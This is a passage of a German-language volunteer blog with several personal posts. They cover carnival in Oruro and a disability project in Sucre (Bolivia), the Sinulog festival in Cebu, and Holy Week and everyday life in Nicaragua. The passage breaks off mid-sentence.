Der Teufel ist los – Carnaval in Oruro

Montag, 23. April 2018 von Marianka Rehm

Hallo Ihr Lieben!

Der Countdown läuft! Mit Moosgummihüten und -krawatten dekoriert stehen alle gespannt auf ihren Stühlen, die Aufregung ist sichtlich zu spüren: 10, 9, 8, 7, …, 3, 2, 1, 00:00!! Eine Traube, zwei Trauben, drei Trauben, … zwölf Trauben! – je Glockenschlag eine Traube, schnell die Reisetasche packen und ab nach draußen, eine Runde ums Haus rennen, zählen wie viele (Spiel-)geldscheine man auf die Hand bekommen hat und schließlich entspannt zum Himmel blicken, um das Feuerwerk zu beobachten. So bin ich Anfang Januar zusammen mit meiner bolivianischen Familie und zwei Freundinnen ins neue Jahr 2018 gestartet. Man kann sich sicherlich vorstellen, dass die Stimmung vor allem bei unseren diversen Neujahrsritualen ausgezeichnet heiter war. Selbst die Farbe der Unterwäsche ist hier an Silvester äußerst bedeutend. Schon Tage zuvor wird an den Marktständen der Stadt gelbe (Geld) oder rote Unterwäsche (Liebe) angeboten. Na wenn wir nach all diesen Ritualen mal kein Glück haben werden… :p

Im Januar waren immer noch Sommerferien und die Zentren Palliris geschlossen. Da die meisten Menschen aus El Alto ursprünglich vom Land kommen, nutzen viele Familien die Schulferien, um für ein paar Wochen in ihre Heimat auf dem Land zurückzukehren und sich zum Beispiel auch um Angehörige zu kümmern, die noch dort leben. In Palliri wurde die freie Zeit dafür genutzt, um die verschiedenen Zentren wieder startklar fürs neue Schuljahr zu machen. Tagelang wurden Wände neu gestrichen, Lebensmittel ins Lager einsortiert, geputzt und alles wieder auf Vordermann gebracht.

 

Zwischenseminar in Santa Cruz

Noch ehe Anfang Februar die Schule wieder begann und ich erneut in den Palliri-Alltag einsteigen konnte, ging es für mich mit einer 17-stündigen Busfahrt von El Alto nach Santa Cruz, von 4100 auf 437 Höhenmetern und vom rauen Andenklima hinein in die Tropen zum Zwischenseminar. Es war schön, nochmals andere Freiwillige vom südamerikanischen Kontinent zu treffen und sich auszutauschen. Gemeinsam haben wir spannende Themen besprochen und interessante kulturelle Rätsel gelöst. Ganz ungewohnt war dabei, eine Woche lang fast ausschließlich Deutsch um sich herum zu hören und zu sprechen. Mit täglich über 30 Grad, Freibad nebenan und kurzer Hose fühlte sich die Woche für mich ein wenig wie Urlaub an und einmal mehr wurde mir bewusst, wie unglaublich vielfältig und unterschiedlich die verschiedenen Regionen Boliviens sind – von den Anden bis zum Urwald ist alles dabei. Im Gegensatz zu El Alto, wo Ameisen meine einzigen tierischen Mitbewohner darstellen, kann einem in Santa Cruz neben allerlei Mücken und Krabbeltieren schon einmal ein Skorpion begegnen oder ein kleiner Gekko, welcher sich im Schuh verkrochen hat. Es wird sogar gesagt, dass sich selbst der Charakter der Menschen zwischen dem Hoch- und Tiefland unterscheidet. Demnach sollen diejenigen in niedriger gelegenen Teilen offener und lebhafter sein, als jene im Hochland, die, geprägt vom rauen Klima, eher verschlossener seien. Ob das wohl stimmt? Durch meine Erfahrungen kann ich diese Theorie jedenfalls nicht wirklich bestätigen.

 

 Oruro – Folklorehauptstadt Boliviens

Zur Karnevalszeit befindet sich ganz Bolivien für ein paar Tage im Ausnahmezustand. Die Geschäfte sind geschlossen und leider wird während dieser Zeit oft sehr viel Alkohol konsumiert. Da direkt im Anschluss an das Seminar das Faschingswochenende stattfand, machte ich mit ein paar anderen Freiwilligen einen kleinen Abstecher nach Oruro, der Karnevalshauptstadt Boliviens. Einmal im Jahr erwacht die ansonsten eher unbedeutende Stadt zum Leben und es ist wortwörtlich der Teufel los, denn laut Legende wird dann der Teufel „Wari“ von der Göttin Ñusta vertrieben und aus der Stadt gejagt. Der Carnaval von Oruro ist eine Vermischung von Riten indigener Religionen mit christlichem Brauchtum und ist deshalb sehr traditionell. An den beiden Haupttagen Samstag und Sonntag finden jeweils von morgens früh bis weit nach Mitternacht kilometerlange und unendlich erscheinende Umzüge statt und mit farbeprächtigen und gigantischen Kostümen ziehen die riesigen Tanz- und Musikgruppen an den Zuschauern vorbei – ein unfassbares Spektakel! Jede Gruppe tanzt dabei, gekleidet in der jeweils typischen Tracht, einen anderen der über 18 verschiedenen traditionellen bolivianischen Tänzen wie etwa Diablada, Morenada oder Caporal.

 

 

 

 

E.T.I. Sucre

Im E.T.I ist alles barrierefrei eingerichtet

Nach dem Besuch in Oruro ging es für Jakob, den anderen Bolivienfreiwilligen des Kindermissionswerks, und mich noch nicht zurück nach El Alto, sondern in die bolivianisch Hauptstadt Sucre ins Projekt E.T.I. (Escuela Taller Integración), von wo aus wir für das Kindermissionswerk berichten durften. Das E.T.I. (auf Deutsch etwa „Integrative Schule und Werkstatt“), ist ein Projekt, welches Kinder und Jugendliche mit Behinderung betreut und fördert. Fast drei Wochen lang durften wir zusammen mit den Bewohnern der sogenannten „residencia“, dem Wohnheim des E.T.I. zusammenleben und in ihren Alltag schauen. Morgens halfen wir in der ersten und zweiten Klasse der dazugehörigen inklusiven Schule mit, in welcher Kinder und Jugendliche mit und ohne Behinderung gemeinsam unterrichtet werden. Mittags unterstützten wir die Leiterin der Hausaufgabenbetreuung und später ging es meist auf den Sportplatz zum Fuß- oder Rollstuhlbasketball.

Schulsport einer Klasse der inklusiven Schule des E.T.I

 

Eines Morgens hieß es dann: Auf nach Monteagudo! Das ist eine Stadt im Südosten Boliviens, welche den Ausgangspunkt darstellte, um zwei Bewohnerinnen der residencia abzuholen, die die Ferien bei ihren Familien auf dem Land verbracht hatten und nun wieder für ein Jahr nach Sucre ins E.T.I zogen, um zur Schule gehen beziehungsweise in der Nähwerkstatt arbeiten zu können und dabei unterstützt zu werden. Mit einer sieben stündigen Fahrt auf größtenteils unasphaltiertem einspurigem Schotterweg ging es hinein in den sogenannten „Chaco“, eine tropische und sehr grüne Region Südamerikas. Vorsichtig manövrierte der Fahrer den Geländewagen über den teilweise matschigen und äußerst rutschigen Untergrund. Die Strecke war gezeichnet von den starken Regenfällen der vorherigen Wochen und so kam es nicht selten vor, dass wir vom Hang gelöste Steine auf die Seite räumen und kleine Flüsse durchqueren mussten. Von Monteagudo aus ging es am Folgetag jeweils drei Stunden noch tiefer in den „Chaco“ hinein. Ich konnte kaum glauben, hier, mitten im „Nichts“, plötzlich wieder auf Zivilisation zu stoßen. Natürlich wusste und weiß ich, dass die Menschen auf dem bolivianischen „campo“ (auf dem Land) in sehr einfachen und ärmlichen Verhältnissen leben, doch wenn man plötzlich eine Familie kennenlernt, mit ihr zusammen in deren nur spärlich beleuchteten Hütte sitzt, sich mit ihr unterhält und sich vorstellt, wie es ist, hier zu leben, ist das nochmal etwas anderes und man wird sehr nachdenklich. Es ist doch unfassbar, welche riesigen Kontraste es auf der Welt gibt!

Einfache Wohnhütte aus Materialien der natürlichen Umgebung. Man kann sich vorstellen, dass es ziemlich schwer ist, sich in diesem unebenen Gelände selbstständig mit dem Rollstuhl fortbewegen zu können.

 

Auf der „Hauptstraße“ nach Monteagudo: Ein mit Pferden beladener Viehtransporter im Matsch eingesunken.

Die Zeit in Sucre war unglaublich faszinierend und nach einem ganzen Monat Abwesenheit kehrte ich Anfang März schließlich mit einem Rucksack voller neuer Erfahrungen und Eindrücke sowie mit unglaublicher Vorfreude, die Kinder und Jugendlichen sowie Mitarbeiter aus Palliri wiederzusehen, zurück nach EL Alto.

– Fortsetzung folgt-

Bis dann! Liebe Grüße aus dem tagsüber gerade sehr heißen El Alto!

 

Sinulog – Was ist das?

Samstag, 21. April 2018 von Luise Reichelt

Wie fange ich nun an? Es ist schon eine sehr lange Zeit seit meinem letzten Beitrag passiert. Ich möchte euch aber trotzdem meine Eindrücke der letzten Monate nicht vorenthalten. Die traditionelle philippinische Festkultur konnte ich euch noch gar nicht richtig vorstellen aber im Januar wurde das große Sinulog Fest gefeiert und dabei habe ich nochmal einen ganz anderen Eindruck von den Philippinen und besonders von Cebu bekommen.

Am 21.Januar wird das Sinulog Fest in Cebu gefeiert! Das Jesuskind, auch Santo Niño genannt, steht dabei im Vordergrund und wird von allen gefeiert. Doch wenn ihr glaubt, dass hier nur am 21. gefeiert wird, dann habt ihr euch mächtig getäuscht. Neun Tage bevor das eigentliche Event stattfindet, steht die Stadt schon völlig auf dem Kopf. Jeden Tag gibt es Gottesdienste, um sich auch auf die Feierlichkeiten vorzubereiten. Für viele ist es auch ein kleiner Wettkampf, jeden Tag den Weg in die Kirche zu finden. Leider muss ich mir jedoch eingestehen, dass ich nicht alle 9 Messen vollendet habe, da ich im Projekt ziemlich eingenommen war. Trotzdem waren die Kirchenbesuchen eine sehr beeindruckende Erfahrung! Ich stehe also inmitten von mehreren hundert Menschen im Gottesdienst und alle stimmen das Lied „Batobalani sa gugma“ an. Das Gefühl dazuzugehören ist einfach unglaublich, auch wenn dabei einige Traditionen sehr fremd für mich sind.

7. Novena Messe (die Regenschirmen fungieren hier als Sonnenschutz)

Ich fange aber jetzt am besten von vorne an zu erzählen! Denn mit dem ersten Tag der neuntägigen Vorbereitung begannen die Festlichkeiten und es gibt an verschiedenen Orten in Cebu Konzerte und Attraktionen. Da ich nebenbei im Projekt mitgeholfen habe, konnte ich erst am Wochenende alles erkunden. Die Zeit reicht jedoch trotzdem nicht aus, um alles mitzuerleben, da ich mich bei vielem entscheiden musste, ob ich lieber zu dem einen oder zum anderen möchte. Ich bin mit meiner Wahl jedoch durch und durch zufrieden gewesen!

 

SINULOG FESTIVAL

Samstag – Mein Wecker klingelt um 3 Uhr nachts und ich bekomme kaum meine Augen

Cebu City vom Wasser

auf. Nach einer kalten Dusche und einem Schluck Wasser bin ich dann auch endlich richtig ansprechbar. Ich werde von einem Freund mit dem Auto abgeholt und wir machen uns auf den Weg zur „Fluvial Parade“. Die Straßenlaternen leuchten noch und es sind kaum Menschen auf den Straßen. Wir nähern uns dem kleinen Hafen und ich sehe immer mehr Taschenlampen. Die Sonne geht langsam auf und ich laufe mit einigen anderen Freiwilligen durch Sand gemischt mit Müll.

Mehrere hundert Boote schließen sich der Parade auf dem Wasser an!

Geschmückte Boot warten am Ufer auf uns und wir laufen durch das kalte Wasser zum Boot. Die Sonne spiegelt sich auf der Wasseroberfläche und ich erkenne die Orte, an denen wir vorbei fahren. Ich bin so aufgeregt, dass ich gar nicht mehr übers Schlafen nachdenke. Aber auch durch die vielen Trommeln und Gesänge kann ich gar nicht mehr an mein Bett denken. Es schließen sich immer mehr Boote an und es vermischen sich die Klänge der anderen Boote mit unserer Musik. Wir fahren Richtung Norden, um das große Schiff zu sehen, welches den Santo Niño nach Cebu bringt. Am Ziel angekommen heißt es erstmal etwas Essen und da es sich um eine Feier handelt, wurde natürlich Lechon (geröstetes Spanferkel) mitgebracht. Der Duft vom Essen und die fröhliche Musik vermischen sich in meinem Kopf und alle fangen an zu tanzen.
Doch dann sehen wir das riesige mit blütenbesetze Schiff und an der Spitze eine Glasvitrine mit dem festlich gekleideten Santo Niño und die Leute stimmen Lieder an. Es wird getanzt, gelacht und gegessen und so folgen wir dem Schiff begleitet von mehrern hundert weiteren Booten auf den Weg nach Pasil (Ortsteil von Cebu).

Der Santo Nino kommt nach Cebu!

Trommel begleiten uns auf dem Weg…

 

 

bloß nicht vom Boot fallen…

 

Immer mit viel Freude und Spaß am Start!

 

 

Es ist erst 9 Uhr morgens als wir an dem kleinen Hafen ankommen aber die Stimmung ist schon auf dem Höhepunkt. Alle Menschen sind auf der Straße, in Kostümen gekleidet und tanzen und singen zu Ehren des Jesuskindes. Die Starßenparade führt an den vielen kleinen Häusern vorbei. Ich fühle mich, wie in einer anderen Welt aber es ist einfach atemberaubend wie sehr mich diese Atmosphäre in seinen Bann gezogen hat. Am liebsten wäre ich dort die ganze Zeit geblieben aber ich habe noch einiges vor. Das frühe Aufstehen macht sich auch bei mir langsam bemerkbar uns so begebe ich mich auf den Heimweg.

Kinder tanzen zu Ehren des Jesuskindes

Alle Straßen rund um die Hauptkirche sind gesperrt und so treffe ich mich mit Freunden etwas außerhalb und wir schließen uns der großen Parade an. Das besinnliche Wandern in Mitten von Millionen von Menschen gibt einem ein unglaubliches Zugehörigkeitsgefühl. Ich kann zwar nicht alles verstehen aber in den Gebeten, wenden sich die Menschen an das Jesuskind. Sogar die Kommunikation wird den Tag über unterbrochen und es gibt kein Netzsignal, um mehr Sicherheit gewährleisten zu können, da sich so viele Menschen auf den Straßen befinden.

Die Stadt ist ungewöhnlich still und das Straßenbild ist hauptsächlich von Menschen geprägt. Mein nächster Stopp ist aber die Einkaufsmall, in der ich meine Gastschwester aus Liloan treffe. Nach einer kleinen Stärkung gehen wir nach draußen. Es ist inzwischen abends und ich kann bereits Sterne am Himmel sehen. Hier ist es viel ruhiger als noch einige Stunden zuvor, das sollte sich aber gleich ändern. Mehrere Menschen stehen vor der Mall und blicken in den Himmel, der Countdown läuft und schon geht es los. Die ersten Raketen erhellen den Himmel und alle fangen an zu klatschen und zu schreien. Die folgende Lichtershow ist kaum in Worte zu fassen aber mit einem zweiten Silvester ist es gut zu vergleichen. Blaue, rote und weiße Lichter formen Kreise am Himmel und es sieht aus als ob Millionen von Sternschnuppen auf die Erde fallen. Der Geruch von Rauch steigt mir in die Nase und ich bin einfach nur glücklich über diesen schönen Tag, den ich erlebt habe. Der Blick zu meiner Gastschwester verrät mir, dass sie auch froh ist.
Ich freue mich, dass ich diese Erfahrung mit meiner Gastschwester und guten Freundin teilen kann und bin schon gespannt auf den morgigen Tag.

Das Feuerwerk erleuchtet den Nachthimmel

 

Sonntag – Die Sonne scheint und ich beginne den Tag mit einem etwas späteren Frühstück. Was wird der Tag wohl bringen, frage ich mich. Was werde ich wohl heute erleben?
Nachdem der gestrige Tag doch mehr geprägt von besinnlicher Stimmung war, sollte es heute nochmal anders werden. Mit meinem zuvor gekauften Sinulogshirt mache ich mich auf den Weg. Doch bevor es richtig losgeht, bekomme ich noch einen Kopfschmuck!

Ein Gruppenfoto, bevor wir uns in die Menge stürzen!

Die große Parade mit den Festwagen führt durch die ganze Stadt. So viele Menschen, es ist eng und ich bin froh etwas größer zu sein, sodass ich den Überblick behalten kann. Viele philippinische Künstler sind bei der Parade dabei, doch das Gekreische der Menschenmasse beim Anblick ihres Idols, kann ich nicht ganz nachvollziehen. Liegt aber vielleicht auch einfach daran, dass ich mit den Gesichtern berühmter philippinischer Fernsehserien nichts anfangen kann.

alle halten Ausschau nach den geschmückten Paradewagen

Unser Weg führt uns weiter, vorbei an den Straßen mit den meisten Ausländern, die teilweise nur für das Fest angereist sind. Hier ist die Stimmung auf einer ganz anderen Ebene. Ehe ich mich versah, spürte ich schon die kalte und nasse Farbe an meinem Arm. Viele Jugendliche laufen mit Farbe herum und malen jeden an, der sich nicht rechtzeitig bücken kann. Da ich sehr groß bin, war es für viele schon eine kleine Herausforderung so hoch zu springen, um auch mein Gesicht anmalen zu können. Nach gefühlt 30 Sekunden hat sich mein weißes T-Shirt in einen Farbeimer verwandet und ich selbst sah aus, wie in einen Farbtopf gefallen. Man wurde direkt in diese fröhliche Stimmung aufgenommen und Fremde haben sich einfach umarmt oder gemeinsam gesungen. Es ist teilweise etwas wild aber sehr lustig. Nach tausenden Bildern bin ich mir nun auch sicher, dass mich jeder in Cebu kennt.
Geschmückte Straßen, Paraden an jeder Straßenecke und feiernde Menschen – so habe ich dieses Sinulog erlebt.

noch farbenfrohere Gesichter

Beim Anmalen kam ich nicht zu kurz…

Das ist aber nicht das Ende, gefeiert wird nämlich den ganzen Tag. Mit meinen Freunden vom Feeding ging es abends noch zu einem Freund zum Abendbrot. Familienfeiern mit reichlich Essen sind für viele mit das Wichtigste. Zum Abschluss ging es dann noch auf den „Plaza Independencia“ zur großen Bühne. Gute Musik und viele Menschen haben mich dort erwartet.
Der Himmel ist bereits dunkel als ich in mein Zimmer komme und einen kurzen Schreck vom Anblick meines Spiegelbildes bekommen habe. Glücklicherweise ging die meiste Farbe auch gut ab. Der rosafarbene Schimmer in meinem Gesicht ist nach einiger Zeit dann auch nicht mehr so sehr aufgefallen.

Es hat mein Wochenende einfach nur perfekt abgerundet und ich habe mich schon wieder auf mein Projekt gefreut! Entspannt bin ich dabei aber nicht aus dem Wochenende gekommen, dafür aber um einige Erfahrungen reicher, mit einer schönen Erinnerung im Kopf und gefestigten Freundschaften.

Und wer bis hierhin schon durchgehalten hat, kann sehr stolz auf sich sein! Ich konnte mich leider nicht kürzer halten, denn es sind so viele Erlebnisse gewesen, die ich mit euch teilen wollte. Aber ich hoffe, dass ihr die Frage „Was ist Sinulog?“ nun für euch selbst beantworten könnt, denn ich habe meine ganz eigene und persönliche Antwort an diesem Wochenende kreieren können!

 

Karwoche mal anders – eine Nation feiert Ostern

Samstag, 21. April 2018 von Lea Feldhaus

Hallo alle zusammen,

Perdón Señor te pido. Pequé mi Dios pequé. – Ich bitte dich, Herr, um Vergebung. Ich habe gesündigt, mein Gott.

Das hörte man vor einigen Wochen in ganz Juigalpa und Nicaragua auf den bunt geschmückten Straßen. An jeder Ecke ein kleiner Altar mit Kreuz, Bild und Kerze. Und wieso?

Na, das ist ja wohl klar: Es war Semana Santa, also die Karwoche.

Bereits am Palmsonntag ging es mit einem Palmumzug und einem Ritt auf dem Esel symbolisch los. Aus dem Einzug in Jerusalem wurde ein Einzug in Juigalpa. Immerhin beginnen die beiden Städte mit dem gleichen Buchstaben. Auf einem kleinen Lastwagen wurden Palmzweige ausgegeben, die in allen Formen verknotet wurden. Selbst der Bischofsstab wurde aus den gesegneten Pflanzenteilen gebunden.

In der folgenden Woche verbrachte ich viel Zeit in der Kirche. Die Pfarrer predigten, man solle diese heilige Zeit doch mit Jesus verbringen und ihn auf seinem letzten Weg begleiten, statt mit seiner Familie im Schwimmbad zu sitzen und es sich gut gehen zu lassen. Denn die Karwoche ist die heißeste Zeit im Jahr und das wird fleißig genutzt. Wenn man schon mal Ferien hat. Nichts destotrotz waren abends die Kirchenbänke voll, die Reihen vor den Beichtstellen waren lang und es schien, als würde das ganze Land in die Kirchen zurückkehren.

Gründonnerstag fanden das letzte Abendmahl und die Fußwaschung statt. Dabei fiel mir besonders auf, dass nur Männer vorne am Altar saßen. Doch meine Arbeitskollegin meinte, es seien die letzten Jahre auch Frauen dabei gewesen.

Eine Gruppe von rund dreißig jungen Erwachsenen spielte die Passion Christi an den Stationen nach

Den absoluten Höhepunkt der Woche fand sich im Karfreitag. Dieser begann für mich offiziell um neun Uhr mit dem Kreuzweg. Bereits zuvor habe ich von einem Freund Respektsbekundungen bekommen: „Wow, wenn ihr das überlebt, dann werde ich das nie vergessen!“ Wie komisch. Ist doch nur ein Kreuzweg. Im Nachhinein weiß ich, was gemeint war… Pünktlich um 9:17 Uhr kamen meine Bekannte und ich an der Kathedrale an und beobachteten, wie die Prozession durch die Haupttüren nach draußen kam: Zwei übermann große Figuren von Jesus und Maria wurden von je acht bis zehn Menschen getragen (das Militär musste kommen, um die Lektoren immer wieder abzulösen…), es folgten Schauspieler, Lektoren, Gemeinde und Priester/Bischof, sodass der Umzug sehr groß wurde. Dementsprechend langsam bewegte er sich auch. Für mich war es spannend, die verschiedenen Menschen zu beobachten. Zum Beispiel all jene, die barfuß und mit zugebundenen Augen die gesamten vier Stunden mitgelaufen sind. Geführt von einer Person an ihrer Seite. Barfußlaufen ist in Nicaragua eigentlich sehr verpönt. Und aus Erfahrung kann ich sagen, es tut auch sehr weh, da die Straßen doch deutlich heißer sind, als in der deutschen Julisonne. Meine Begleiterin erklärte, dass einige Menschen auf diese Art und Weise um Vergebung der Sünden bitten, oder vor einiger Zeit um etwas gebeten haben (zum Beispiel Gesundheit einer Person etc.) und im Gegenzug versprachen, jedes Jahr den Kreuzweg so mitzugehen.

Jede Station wurde von einer Gruppe von rund dreißig Jugendlichen und Erwachsenen dramaturgisch unterlegt. Es ist ein großer Unterschied, die Passion in der Bibel zu lesen, sie in der Kirche zu hören oder so auf der Straße zu sehen. Crucifícalo-Schreie (Kreuzigt ihn) und Peitschenschläge zwischen den Stationen. Ein stürzender Jesus, der ohne irgendeinen Schutz ausgeliefert ist an die Soldaten. Eine Mutter, die ihrem Sohn beim Sterben zusehen muss. All das hat mir eine unglaubliche Gänsehaut auf die Arme gezaubert (bei 38 Grad schon ein Kunststück). Obwohl ich mich in der Woche eigentlich gar nicht so österlich gefühlt habe, wurde mir in diesen vier Stunden und der anschließenden Messe noch einmal ganz anders bewusst, was vor 2000 Jahren in Jerusalem geschehen ist. Als wir um drei doch wieder zu Hause waren, führte kein Weg an einem Mittagsschlaf mehr vorbei.

Man beachte das Größenverhältnis Mensch – Figur…

Jesus fällt zum ersten Mal

Für die letzte Station wird symbolisch der Sarg Jesu in die Kathedrale gebracht

Die Osternacht fand bereits am Samstag um sieben Uhr nachts statt. Das Osterfeuer wurde auch hier gesegnet und die Messe war sehr ähnlich wie Deutschland. Trotzdem habe ich mich anders gefühlt. Dieses Jahr kein Weihrauchfassschwenken von meiner Seite, keine Glocke, die in der Schlaftrunkenheit des frühen Morgens umgeworfen wurde…. Das ändert irgendwie einiges. Der große Vorteil der Messe Samstagabend zeigte sich am nächsten Tag. Der Pfarrer, der die gesamte Woche eigentlich nur in der parroquia verbrachte, wollte auch nicht mehr, sagte spontan die Abendmesse ab und wir fuhren zu zwölft an den nahen Fluss, um die Wärme zum Schwimmen zu nutzen. Wobei man das in Anführungszeichen setzen müsste, denn viele Nicaraguaner können nicht schwimmen, obwohl es in ihrem Land so viele Möglichkeiten gibt. Aber Spaß hat diese Primäre auf jeden Fall gemacht.

Auch im Centro waren die Ferien deutlich zu spüren. Als wir am Montag wieder anfingen zu arbeiten, war eine Rundumentstaubung nötig und so blieben die Kinder frühs zu Hause, damit wir alles wieder auf Vordermann bringen konnten. Auch nachmittags waren wenige Leute da. Denn viele Kinder haben den ersten Schultag blau gemacht und sind ein letztes Mal ins Schwimmbad gefahren.

Doch spätestens ab Dienstag sind wieder alle zurück. Dank einer ganzen Menge Schokolade, die ihren Weg aus Deutschland zu mir gefunden hat, haben auch wir unseren kurzen österlichen Moment gehabt, als alle zusammen ihren Schokoosterhasen essen durften:)

In diesem Sinne grüße ich euch ganz herzlich aus Nicaragua und besonders aus Juigalpa, Chontales

Un abrazo fuerte – eine dicke Umarmung

Eure Lea

 

P.S.: Seit Mittwochabend gibt es in einigen Teilen des Landes politische Unruhen. Einige Unis sind geschlossen, es gibt viele Demonstrationen, die zum Teil eskalieren. Juigalpa ist friedlich. Trotzdem bitte ich euch, dieses Land mit ins Gebet zu nehmen und um den Frieden zu bitten.

 

Über das Leben in Nicaragua und wie sich mein Leben verändert

Dienstag, 10. April 2018 von Sandra Abrantes Diaz

Hola ihr Lieben! Jetzt bin ich doch etwas in Verzug geraten mit meinem nächsten Blog, aber keine Sorge, ich hole alles nach! Ausnahmsweise ist nicht die Arbeit im Projekt Grund dafür, dass ich keine Zeit gefunden habe, um zu berichten, sondern zum Einen das Zwischenseminar (ja, das ist jetzt auch schon vorbei und die Zeit ist nun noch weniger) und zum Anderen der Besuch meiner Familie – nach acht Monaten von Bruder und Eltern gedrückt zu werden ist ein schönes Gefühl!

Mit einer allzu großen Begeisterung bin ich nicht zum Seminar gereist, weil das auch gleichzeitig hieß, eine Woche im Heim zu verpassen. Dazu kam, dass die Anreise zu dem Zwischenseminar nicht die Kürzeste für mich war. Obwohl Nicaragua nicht sehr groß ist –  vergleichbar mit der Fläche von Bayern und Baden-Württemberg zusammen – war ich etwa zehn Stunden unterwegs (auf dem Hinweg habe ich die Reise teilen können und habe Obhut bei meiner Mitfreiwilligen Lea gefunden, danke!) und landete auf einer Insel, einsamen Insel. Kaum zu Glauben, aber das Leben auf einer paradiesischen Insel fiel mir schwer so weit weg von meinem Nica-Zuhause. Tatsächlich waren wir die Hauptattraktion auf Solentiname und es war wirklich merkwürdig mit einer ganzen Gruppe Weißer, die Deutsch sprechen, sich so fremd zu fühlen. Es war auch schön mal wieder deutsch zu reden und sich besonders über kulturelle Erfahrungen austauschen zu können. Machismus ist in Nicaragua ein großen Thema/Problem. Dass einer Frau hinterhergepfiffen und bis an die nächste Ecke nachgeschaut wird ist hier keine Seltenheit. Für mich war das schnell vertsanden und ich bemerke es nun wirklich nicht, aber als man dann ins Gespräch kam, war ich erstaunt wie schwer es einige mit der Nica-Kultur haben… Alles in allem war es eine sehr reflektierende Woche, in der aber auch Spaß, Lachen und Baden nicht zu Kurz kam!

 

Ostereier färben mit den Kindern im Heim

Zwischenseminar auf Solentiname

 

 

 

 

Mit Lea auf dem Weg auf die einsame Insel

 

Wieder zurück in Granada, standen auch schon meine Eltern in der Tür. Während der Osterwoche (Semana Santa) durfte ich mein Nica-Leben zeigen. Tatsächlich waren meine Eltern von vielen Eindrücken eingenommen, die ich schon als normal sehe. Bin ich schon so anders? Das ging mir doch oft durch den Kopf, aber nein, es gibt kein Anders oder Komisch, ich würde sagen ich bin einfach angekommen und aufgenommen. In zwölf Tagen ging es einmal quer durchs Land, es gab deutsches Essen in meiner Gastfamilie und ganz viel Schokolade. Zum Abschied hatten sie noch die Ehre einen Tag mit mir auf der Arbeit zu verbringen. Sehr herzlich wurde die Mama von Sandra umarmt, Sandras Papa und Sandras Bruder zum Fussball aufgefordert.

Mit Kollegen und Bruder in Granada

Zur Feier des Tages – wann bekommt man schon Besuch von so weit her? – gab es Burger für alle Mädchen

Mit den Vorschulkindern unterwegs

Sonnenuntergang in Las Peñitas 

Wo? Wie? Was?

Was es heißt hier zu leben, sich wie eine Nica zu fühlen und Hitze zu spüren versuche ich euch ein wenig näher zu bringen. Ein kultureller Unterschied bedeutet nicht, dass es hier komisch, schlechter oder besser ist. Es ist einfach Nicaragua wie ich es liebe! Wie schon vorhin gesagt sind mir gerade in den letzten Tagen diese Unterschiede durch meine Familie so bewusst geworden.

 

Häuser

Fast jede Familie lebt in ihrem eigenen Haus, auch wenn es noch so eng ist, da man meist mit der ganzen Familie zusammen wohnt (da kommen auch mal mehr als zehn Personen zusammen). Mehrstöckige Häuser sind hier eine Seltenheit. Wenn man solche in Granada zu sehen bekommt, dann nur im Zentrum, wo diese meist Hotels oder auf einen reichen Inhaber zu schließen sind.

Die Häuser sind tagsüber meist offen, man sitzt im Schaukelstuhl vor seinem Hauseingang und genießt jeden Hauch von Wind der bei dieser Hitze weht. Genauso sind auch Zimmer meist durch Vorhänge abgetrennt, was jedoch Privatsphäre nicht ausschließt.

 

Fanilie und Schule

Familie wird sehr groß geschrieben in Nicaragua! Daher lebt man meist mit drei oder auch vier Generationen zusammen in seinem Haus. Dabei ist klar aufgeteilt, dass sich die Frauen um Wäsche, Küche und Haushalt kümmern, während tagsüber (in den meisten Fällen) die Männer arbeiten und die Kinder in die Schule gehen. Dadurch, dass Mädchen bereits mit ihrem 15. Geburtstag zur Frau werden (vergleichbar mit unserem 18. Geburtstag), wird tendeziell auch im Alter von 20 bis 25 das erste Kind geboren. Von der ganzen Familie wird das Baby gehegt und gepflegt, von der Oma verwöhnt.

Dass man enger miteinander lebt, merke ich daran, dass sich viele ein Zimmer teilen. Während ich in Deutschland an meinem eigenen Schreibtisch sitzen konnte, wird hier alles mit den Geschwistern geteilt. Auch die Eltern schlafen oft in einem Raum mit ihren Kindern.

Wie ich so wahrnehme, ist die deutsche Schulglocke sehr spät. Hier geht es bereits um sieben Uhr los mit dem Unterricht für die Sekundaria bis etwa mittags. Danach folgen die Schüler der Primaria (vergleichbar mit unserer Grundschule, jedoch geht diese bis zur 6. Klasse).  So ist es zumindest bei den privaten Schulen, die immerhin 20% der Schulen ausmachen. In den öffentlichen Schulen ist es eben andersherum (erst gehen die Jüngeren zur Schule und am Nachmittag die Älteren).

Außerdem spielt der katholische Glaube hier noch eine bedeutende Rolle. Vor Unterrichtsbeginn  wird in Gemeinschaft gebetet, der sogenannte Acto, und wöchentlich findet ein Schulgottesdienst statt.

 

Menschen und Mentalität

Mensch ist Mensch. Grundlegend fühlen, denken, lernen und arbeiten die Menschen hier genauso wie in Deutschland. Auch wenn es kulturelle Unterschiede gibt, heißt es nicht, dass die Menschen dadurch ein besseres oder schlechteres Leben haben!  

Meine Eindrücke der Nicas sind, dass sie immer lächeln, höflich und geduldig. Wenn es um eine Wegbeschreibung geht, nehmen sie sich die Zeit dir weiterzuhelfen bis du dein Ziel erreicht hast, wenn du in den Bus steigst, wird dir die Hand gereicht, dir wird geholfen deinen Rucksack zu verstauen und an der richtigen Ecke auszusteigen. Außerdem sind sie auch Meister im Small-Talk. Ein ‚¿Como estas?‘ bekommt man eigentlich ständig zu hören.

Zudem gilt ein entscheidender Gedanke für die Mentalität: Komm ich heute nicht, komm ich morgen bzw. Kommt der Bus nicht, dann kommt eben der Nächste. Dass man dann lernt auch ein oder zwei Stunden am Straßenrand zu sitzen und bei jedem Motorgeräusch mit der Hoffnung auf den ersehnten Bus aufatmet da kommt er, enttäuscht ausatmet und  festellt, dass es nur ein PKW war, bringt Ruhe. Eine innere Ruhe und Gelassenheit.

 

Sicherheit

Am Anfang war ich sehr vorsichtig und ein wenig verunsichert, welche Wege ich eben alleine gehen darf und wo man dann doch lieber das Taxi nimmt. Auch wenn Nicaragua als das sicherste Land Zentralamerikas gilt, sollte man das nicht mit deutschen Sicherheitsmaßstäben vergleichen.

Generell ist gerade das touristische Zentrum Granadas sehr belebt und auch abends trifft man viele, die ihren Abend mit Freunden ausklingen. Wenn es jedoch schon acht Uhr abends ist, kommt dann doch ein unwohles Gefühl in mir auf und ich laufe auch nicht mehr alleine durch die Straßen. Ab dieser Uhrzeit fährt man mit dem Taxi und wohler fühle ich mich dann auch wenn ich mein Handy zuhause habe!

Das Unbekannte ist gefährlich, das Bekannte aber auch!

 

Verkehr

Mit dem Verkehr in Nicaragua ist das so eine Sache. Generell gilt wer zuerst hupt, fährt zuerst.

Das heißt auch, dass Granada mit genau einer Ampel auskommt und ansonsten mit einem sehr

